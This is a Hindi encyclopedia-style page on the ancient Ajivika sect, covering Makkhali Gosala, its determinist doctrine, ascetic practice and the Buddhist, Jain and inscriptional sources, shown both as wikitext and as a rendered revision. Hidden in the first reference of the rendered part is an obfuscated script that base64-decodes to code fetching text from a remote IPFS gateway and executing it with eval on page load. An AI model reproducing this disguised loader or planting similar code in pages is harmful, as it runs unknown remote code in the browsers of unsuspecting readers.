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आजीविक प्राचीन [[भारत]] में एक धार्मिक सम्प्रदाय था। इस सम्प्रदाय के लोग [[बुद्ध]] के समकालीन 'गोशाल' नामक एक धर्मगुरु के अनुयायी थे। इन्हें 'आजीवक' भी कहा गया है।<ref> {{cite book | last =भट्ट| first =जनार्दन | title =अशोक के धर्मलेख| edition = | publisher =प्रकाशन विभाग| location =नई दिल्ली| language =हिंदी | pages =116| chapter =}} </ref>  
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'''आजीविक''' प्राचीन भारत में एक धार्मिक सम्प्रदाय था। इस सम्प्रदाय के लोग [[बुद्ध]] के समकालीन 'गोशाल' नामक एक धर्मगुरु के अनुयायी थे। इन्हें 'आजीवक' भी कहा गया है।<ref> {{cite book | last =भट्ट| first =जनार्दन | title =अशोक के धर्मलेख| edition = | publisher =प्रकाशन विभाग| location =नई दिल्ली| language =हिंदी | pages =116| chapter =}} </ref> आजीविक शब्द के अर्थ के विषय में विद्वानों में विवाद रहा हैं किंतु 'आजीविक' के विषय में विचार रखनेवाले श्रमणों के एक वर्ग को यह अर्थ विशेष मान्य रहा है। [[वैदिक]] मान्यताओं के विरोध में जिन अनेक श्रमण संप्रदायों का उत्थान बुद्धपूर्वकाल में हुआ उनमें आजीविक संप्रदाय भी था।
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*आजीविक संप्रदाय का साहित्य उपलब्ध नहीं है, किंतु [[बौद्ध साहित्य|बौद्ध]] और [[जैन साहित्य]] तथा [[शिलालेख|शिलालेखों]] के आधार पर ही इस संप्रदाय का इतिहास जाना जा सकता है।
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*[[बुद्ध]] और [[महावीर]] के प्रबल विरोधियों के रूप में आजीविकों के तीर्थकर मक्खली गोसाल (मस्करी गोशल) का उल्लेख जैन-बौद्ध-शास्त्रों में मिलता है। यह भी उन शास्त्रों से ही ज्ञान होता है कि उस समय आजीविकों का संप्रदाय प्रतिष्ठित और समादृत था। गोसाल अपे को चौबीसवां [[तीर्थंकर|तीर्थकर]] कहते थे। इस जन उल्लेख को प्रमाण न भी माना जाए तब भी इतना तो कहा ही जा सकता है कि गोसाल से पहले भी यह संप्रदाय प्रचलित रहा। गोसाल से पहले के कई आजीविकों का उल्लेख मिलता है।
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*[[शिलालेख|शिलालेखों]] और अन्य आधारों से यह सिद्ध है कि यह संप्रदाय समग्र भारत में प्रचलित रहा और अंत में मध्यकाल में अपना पार्थ्कय इस संप्रदाय ने खो दिया।
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*आजीविक [[श्रमण]] नग्न रहते और परिव्राजकों की तरह घूमते थे। भिक्षाचर्या द्वारा जीविका चलाते थे। ईश्वर या कर्म में उनका विश्वास नहीं था। किंतु वे नियतिवादी थे।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=हिन्दी विश्वकोश, खण्ड 1|लेखक= |अनुवादक= |आलोचक= |प्रकाशक= नागरी प्रचारिणी सभा, वाराणसी|संकलन= भारत डिस्कवरी पुस्तकालय|संपादन= |पृष्ठ संख्या=361 |url=}}</ref>
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*पुरूषार्थ, पराक्रम वीर्य से नहीं, किंतु नियति से ही जीव की शुद्धि या अशुद्धि होती है। संसारचक्र नियत है, वह अपने क्रम में ही पूरा होता है और मुक्तिलाभ करता है। आश्चर्य तो यह है कि आजीविकों का दार्शनिक सिद्धांत ऐसा होते हुए भी आजीविक श्रमण तपस्या आदि करते थे औ जीवन में कष्ट उठाते थे।<ref>सं.ग्रं.-वॉशम, ए.एल.: हिस्ट्री ऐंड डाक्ट्रिन्स ऑव दि आजीविकाज़!</ref>
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07:00, 12 जून 2018 के समय का अवतरण

आजीविक प्राचीन भारत में एक धार्मिक सम्प्रदाय था। इस सम्प्रदाय के लोग बुद्ध के समकालीन 'गोशाल' नामक एक धर्मगुरु के अनुयायी थे। इन्हें 'आजीवक' भी कहा गया है।[1] आजीविक शब्द के अर्थ के विषय में विद्वानों में विवाद रहा हैं किंतु 'आजीविक' के विषय में विचार रखनेवाले श्रमणों के एक वर्ग को यह अर्थ विशेष मान्य रहा है। वैदिक मान्यताओं के विरोध में जिन अनेक श्रमण संप्रदायों का उत्थान बुद्धपूर्वकाल में हुआ उनमें आजीविक संप्रदाय भी था।

  • आजीविक संप्रदाय का साहित्य उपलब्ध नहीं है, किंतु बौद्ध और जैन साहित्य तथा शिलालेखों के आधार पर ही इस संप्रदाय का इतिहास जाना जा सकता है।
  • बुद्ध और महावीर के प्रबल विरोधियों के रूप में आजीविकों के तीर्थकर मक्खली गोसाल (मस्करी गोशल) का उल्लेख जैन-बौद्ध-शास्त्रों में मिलता है। यह भी उन शास्त्रों से ही ज्ञान होता है कि उस समय आजीविकों का संप्रदाय प्रतिष्ठित और समादृत था। गोसाल अपे को चौबीसवां तीर्थकर कहते थे। इस जन उल्लेख को प्रमाण न भी माना जाए तब भी इतना तो कहा ही जा सकता है कि गोसाल से पहले भी यह संप्रदाय प्रचलित रहा। गोसाल से पहले के कई आजीविकों का उल्लेख मिलता है।
  • शिलालेखों और अन्य आधारों से यह सिद्ध है कि यह संप्रदाय समग्र भारत में प्रचलित रहा और अंत में मध्यकाल में अपना पार्थ्कय इस संप्रदाय ने खो दिया।
  • आजीविक श्रमण नग्न रहते और परिव्राजकों की तरह घूमते थे। भिक्षाचर्या द्वारा जीविका चलाते थे। ईश्वर या कर्म में उनका विश्वास नहीं था। किंतु वे नियतिवादी थे।[2]
  • पुरूषार्थ, पराक्रम वीर्य से नहीं, किंतु नियति से ही जीव की शुद्धि या अशुद्धि होती है। संसारचक्र नियत है, वह अपने क्रम में ही पूरा होता है और मुक्तिलाभ करता है। आश्चर्य तो यह है कि आजीविकों का दार्शनिक सिद्धांत ऐसा होते हुए भी आजीविक श्रमण तपस्या आदि करते थे औ जीवन में कष्ट उठाते थे।[3]



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टीका टिप्पणी और संदर्भ

  1. भट्ट, जनार्दन अशोक के धर्मलेख (हिंदी)। नई दिल्ली: प्रकाशन विभाग, 116।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 361 |
  3. सं.ग्रं.-वॉशम, ए.एल.: हिस्ट्री ऐंड डाक्ट्रिन्स ऑव दि आजीविकाज़!

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